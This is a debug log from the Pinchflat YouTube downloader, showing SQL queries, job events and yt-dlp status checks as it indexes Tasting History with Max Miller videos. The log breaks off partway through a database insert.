s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:26.705 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:26.705 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:26.706 [info] Kicking off download for media item #12546 (_iGppK9by3Y) 02:51:26.707 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1711, 12546, ~U[2026-03-30 06:51:26Z], ~U[2026-03-30 06:51:26Z]] 02:51:26.707 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", "id" => "9SvcDeiwXrc", "original_url" => "https://www.youtube.com/watch?v=9SvcDeiwXrc", "playlist_index" => 2, "title" => "Hardtack Hash from Steerage on a Victorian Ocean Liner", "upload_date" => "20260317"} 02:51:26.708 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:26.708 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:26.709 [debug] QUERY OK source="media_items" db=1.2ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 3] 02:51:26.712 [debug] QUERY OK source="media_items" db=2.6ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "2468e482-5485-4275-8bd4-55a1bddc5756", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, false, 2, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, false, 3, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-30 06:51:26Z], ~U[2026-03-30 06:51:26Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", nil, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, 3, ~U[2026-03-17 00:00:00Z]] 02:51:26.713 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:26.713 [info] {"args":{"id":12546},"id":1711,"meta":{},"system_time":1774853486713283181,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:26.713 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:26.714 [debug] QUERY OK source="media_items" db=0.5ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 02:51:26.714 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:26.714 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:26.714 [info] Kicking off download for media item #12040 (9SvcDeiwXrc) 02:51:26.714 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:26.714 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:26.715 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:51:26.715 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1712, 12040, ~U[2026-03-30 06:51:26Z], ~U[2026-03-30 06:51:26Z]] 02:51:26.715 [debug] Current batch of media processed. Will check again in 1000ms 02:51:26.716 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 02:51:26.716 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:26.716 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.716 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.717 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:26.717 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.717 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.717 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.717 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/45/a8/45a8d4fc9f52c90dd5c3e75c99e1cc4272a187c3da96855fa51e294cbe60eaf6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:26.722 [info] {"args":{"id":12040},"id":1712,"meta":{},"system_time":1774853486722101684,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:26.722 [debug] QUERY OK source="media_items" db=0.1ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 02:51:26.722 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:26.722 [debug] QUERY OK source="sources" db=0.1ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:26.723 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:26.723 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:51:26.723 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 02:51:26.724 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:26.724 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.724 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.724 [debug] Running yt-dlp command for action: get_downloadable_status 02:51:26.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:26.725 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/82/a8/82a8f39307df1bdef4d2716ffafb35a94c35ee0757ac5bf93132efd2788702de.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:27.716 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", "id" => "t1O1hcixZDU", "original_url" => "https://www.youtube.com/watch?v=t1O1hcixZDU", "playlist_index" => 3, "title" => "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "upload_date" => "20260310"} 02:51:27.717 [debug] QUERY OK source="sources" db=0.2ms idle=992.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:27.717 [debug] QUERY OK source="sources" db=0.1ms idle=992.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:27.719 [debug] QUERY OK source="media_items" db=1.5ms idle=992.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 3] 02:51:27.722 [debug] QUERY OK source="media_items" db=2.5ms idle=994.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = 